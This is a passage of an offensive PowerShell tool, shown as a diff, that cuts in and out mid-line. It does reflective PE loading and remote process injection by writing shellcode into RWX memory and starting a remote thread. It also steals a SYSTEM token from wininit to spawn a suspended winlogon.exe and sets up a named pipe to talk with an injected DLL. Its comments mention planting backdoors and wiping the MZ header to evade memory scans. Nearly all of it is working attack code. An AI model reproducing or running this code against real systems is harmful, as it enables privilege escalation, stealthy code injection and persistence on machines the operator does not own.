Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege + # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) + # { + # Write-Verbose "Getting SeDebugPrivilege" + # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + # } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + } + + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } + + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main + } + + #Main function to either run the script locally or remotely + Function Main + { + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + [Byte[]]$PEBytes = $null + + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + $PEBytes = $Bytes64 + } + else + { + $PEBytes = $Bytes32 + } + + #Verify the image is a valid PE file + $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' + + if ($e_magic -ne 'MZ') + { + throw 'PE is not a valid PE file.' + } + + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $PEBytes[0] = 0 + $PEBytes[1] = 0 + + #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) + if ($ExeArgs -ne $null -and $ExeArgs -ne '') + { + $ExeArgs = "ReflectiveExe $ExeArgs" + } + else + { + $ExeArgs = "ReflectiveExe" + } + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName + } + } + + Main + } + + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + ############################### + #Win32Constants + ############################### + $Constants = @{ + ACCESS_SYSTEM_SECURITY = 0x01000000 + READ_CONTROL = 0x00020000 + SYNCHRONIZE = 0x00100000 + STANDARD_RIGHTS_ALL = 0x001F0000 + TOKEN_QUERY = 8 + TOKEN_ADJUST_PRIVILEGES = 0x20 + ERROR_NO_TOKEN = 0x3f0 + SECURITY_DELEGATION = 3 + DACL_SECURITY_INFORMATION = 0x4 + ACCESS_ALLOWED_ACE_TYPE = 0x0 + STANDARD_RIGHTS_REQUIRED = 0x000F0000 + DESKTOP_GENERIC_ALL = 0x000F01FF + WRITE_DAC = 0x00040000 + OBJECT_INHERIT_ACE = 0x1 + GRANT_ACCESS = 0x1 + TRUSTEE_IS_NAME = 0x1 + TRUSTEE_IS_SID = 0x0 + TRUSTEE_IS_USER = 0x1 + TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 + TRUSTEE_IS_GROUP = 0x2 + PROCESS_QUERY_INFORMATION = 0x400 + TOKEN_ASSIGN_PRIMARY = 0x1 + TOKEN_DUPLICATE = 0x2 + TOKEN_IMPERSONATE = 0x4 + TOKEN_QUERY_SOURCE = 0x10 + STANDARD_RIGHTS_READ = 0x20000 + TokenStatistics = 10 + TOKEN_ALL_ACCESS = 0xf01ff + MAXIMUM_ALLOWED = 0x02000000 + THREAD_ALL_ACCESS = 0x1f03ff + ERROR_INVALID_PARAMETER = 0x57 + LOGON_NETCREDENTIALS_ONLY = 0x2 + SE_PRIVILEGE_ENABLED = 0x2 + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 + SE_PRIVILEGE_REMOVED = 0x4 + CREATE_SUSPENDED = 0x4 + } + + $Win32Constants = New-Object PSObject -Property $Constants + ############################### + + + ############################### + #Win32Structures + ############################### + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + #Struct STARTUPINFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null + $STARTUPINFO = $TypeBuilder.CreateType() + + #Struct PROCESS_INFORMATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null + $PROCESS_INFORMATION = $TypeBuilder.CreateType() + ############################### + + + ############################### + #Win32Functions + ############################### + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + + $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken + $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) + + $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW + $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + + $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx + $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) + + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer + $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) + + $GetProcessIdAddr = Get-ProcAddress Kernel32.dll GetProcessId + $GetProcessIdDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $GetProcessId = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcessIdAddr, $GetProcessIdDelegate) + ############################### + + + #Get the primary token for the specified processId + #This function is taken from my script Invoke-TokenManipulation + function Get-PrimaryToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ProcessId, + + #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. + [Parameter()] + [Switch] + $FullPrivs + ) + + if ($FullPrivs) + { + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + } + else + { + $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY + } + + $ReturnStruct = New-Object PSObject + + $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess + if ($hProcess -eq [IntPtr]::Zero) + { + #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." + return $null + } + else + { + [IntPtr]$hProcToken = [IntPtr]::Zero + $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) + + #Close the handle to hProcess (the process handle) + if (-not $CloseHandle.Invoke($hProcess)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hProcess = [IntPtr]::Zero + + if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" + return $null + } + else + { + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken + } + } + + return $ReturnStruct + } + + + #A modified version of this function from my script Invoke-TokenManipulation + #Creates the process suspended. Returns the ProcessID of the created process + function Create-SuspendedWinLogon + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken #The token to create the process with + ) + + $ProcessId = -1 + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) + [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) + $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null + [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct + + $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) + [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) + + $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$($env:windir)\system32\winlogon.exe") + + $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, [IntPtr]::Zero, $Win32Constants.CREATE_SUSPENDED, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + if ($Success) + { + #Free the handles returned in the ProcessInfo structure + $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) + + $ProcessId = $GetProcessId.Invoke($ProcessInfo.hProcess) + + $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null + $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CreateProcessWithTokenW failed. Error code: $ErrorCode" + } + + #Free StartupInfo memory and ProcessInfo memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) + $StartupInfoPtr = [Intptr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) + $ProcessInfoPtr = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) + $ProcessNamePtr = [IntPtr]::Zero + + #Close handle for the token duplicated with DuplicateTokenEx + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + + return $ProcessId + } + } + + + #Get the SYSTEM token and create a winlogon process with it, returns the process ID of the new WinLogon process + function Create-WinLogonProcess + { + if ([Environment]::UserName -ine "SYSTEM") + { + #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. + $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id + if ($systemTokenInfo -eq $null -or $SystemTokenInfo.hProcToken -eq [IntPtr]::Zero) + { + Write-Warning "Unable to get SYSTEM token" + } + else + { + $ProcessId = Create-SuspendedWinLogon -hToken $SystemTokenInfo.hProcToken + if ($ProcessId -eq -1) + { + Throw "Unable to create suspended WinLogon process" + } + + Write-Verbose "Created suspended winlogon process. ProcessId: $ProcessId" + return $ProcessId + } + } + } + + + #Set up a named pipe to communicate with the injected DLL + function Create-NamedPipe + { + $PipeSecurity = new-object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "NT AUTHORITY\SYSTEM", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe=new-object System.IO.Pipes.NamedPipeServerStream("sqsvc","InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + + return $Pipe + } + + + #Determine the parameterset being used to figure out if a new winlogon process needs to be created or not + if ($PsCmdlet.ParameterSetName -ieq "NewWinLogon") + { + #Start winlogon.exe as SYSTEM + $WinLogonProcessId = Create-WinLogonProcess + Write-Output "Created winlogon process to call LsaLogonUser in. Kill ProcessID $WinLogonProcessId when done impersonating." + Write-Output "Execute: Stop-Process $WinLogonProcessId -force" + } + elseif ($PsCmdlet.ParameterSetName -ieq "ExistingWinLogon") + { + $WinLogonProcessId = (Get-Process -Name 